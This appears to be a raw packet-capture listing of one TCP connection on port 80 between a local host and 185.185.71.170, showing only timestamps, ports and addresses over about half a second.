Dec 18, 2024 20:56:46.918011904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.918946981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.918953896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.919023991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.919761896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.919775963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.919837952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.920692921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.920700073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.920711994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.920751095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.921514034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.921520948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.921591043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.922399044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.922406912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.922481060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.923331022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.923337936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.923474073 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.924185991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.924191952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.924204111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.924429893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.925112009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.925118923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.925182104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.925966978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.925973892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.926148891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.927007914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.927015066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.927077055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.051603079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.051922083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.051928997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.052283049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.052772999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.052784920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.052855968 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.053628922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.053716898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.054955959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.054964066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.055071115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.055839062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.055845022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.055856943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.055943012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.056715965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.056730032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.056787014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.058440924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.058484077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.058512926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.059484005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.059528112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.059534073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.059659004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.060333014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.060347080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.060421944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.061224937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.061232090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.061297894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.062084913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.062093973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.062172890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.062959909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.062971115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.063051939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.063844919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.063859940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.063865900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.063954115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.064845085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.064858913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.064914942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.065670013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.065677881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.065742016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.066554070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.066610098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.084609032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.084830999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.084839106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.084924936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.085618973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.085683107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.086026907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.086056948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.086364985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.086846113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.086863041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.087299109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.087723017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.088078976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.088088036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.088171959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.088973999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.088999987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.089025021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.089881897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.089891911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.089930058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.091711998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.091764927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.092571020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.092581034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.092593908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.092653036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.093521118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.093529940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.093903065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.094392061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.094399929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.094629049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.095259905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.095273972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.095334053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.096199036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.096226931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.096257925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.097071886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.097111940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.097198009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.097975969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.097984076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.098009109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.098041058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.098088980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.098891020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.098912954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.098982096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.102803946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.103104115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.103131056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.103163958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.103827953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.103893995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.104264021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.104275942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.104475021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.105081081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.105089903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.105099916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.105150938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.105914116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.105931044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.106004000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.106614113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.106703043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.107039928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.107048988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.107147932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.108078003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.108087063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.108234882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.108916998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.108927011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.109003067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.109729052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.109738111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.109805107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.110618114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.110625029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.110630989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.110688925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.111515999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.111524105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.111620903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.112416983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.112425089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.112523079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.113403082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.113411903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.113647938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.114304066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.114403963 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.116023064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.116033077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.116178989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.116919041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.116928101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.116975069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.117810011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.117816925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.117872000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.118707895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.118715048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.118726015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.118771076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.119625092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.119642973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.119682074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.165688038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.243697882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.243952990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.243959904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.244051933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.244523048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.244530916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.244596004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.245280027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.245330095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.245713949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.245721102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.245774984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.246252060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.246258020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.246320009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.247144938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.247164011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.247170925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.247333050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.248054981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.248105049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.248430967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.248437881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.248523951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.249325991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.249334097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.249391079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.250241995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.250255108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.250333071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.251133919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.251141071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.251698971 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.252007961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.252039909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.252194881 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.252943993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.252950907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.252963066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.253005981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.253824949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.253832102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.253922939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.254699945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.254714966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.254796982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.255588055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.255603075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.255670071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.256525040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.256532907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.256537914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.256588936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.256633043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.276770115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.277010918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.277025938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.277137041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.278709888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.278717041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.278803110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.279376030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.279382944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.279505014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.280216932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.280380011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.281230927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.281239033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.281337023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.282049894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.282058954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.282109976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.282957077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.282964945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.282994986 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.283848047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.283857107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.283899069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.284744978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.284764051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.284770966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.284895897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.285686016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.285693884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.285739899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.286588907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.286597967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.286654949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.287434101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.287442923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.287504911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.288300037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.288316011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.288321972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.288343906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.288357973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.289297104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.289310932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.289365053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.290139914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.290148973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.290237904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.291122913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.291130066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.291277885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.294939041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.295140982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.295149088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.295207024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.295957088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.296000004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.296377897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.296397924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.296447039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.297177076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.297184944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.297300100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.298088074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.298096895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.298146009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.298635006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.298641920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.298742056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.299366951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.299374104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.299515009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.300236940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.300249100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.300312042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.301168919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.301177025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.301245928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.302052975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.302062035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.302103996 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.303108931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.303117037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.303128958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.303169012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.304727077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.304735899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.304836988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.306248903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.306289911 CET	80	49747	185.185.71.170	192.168.2.3
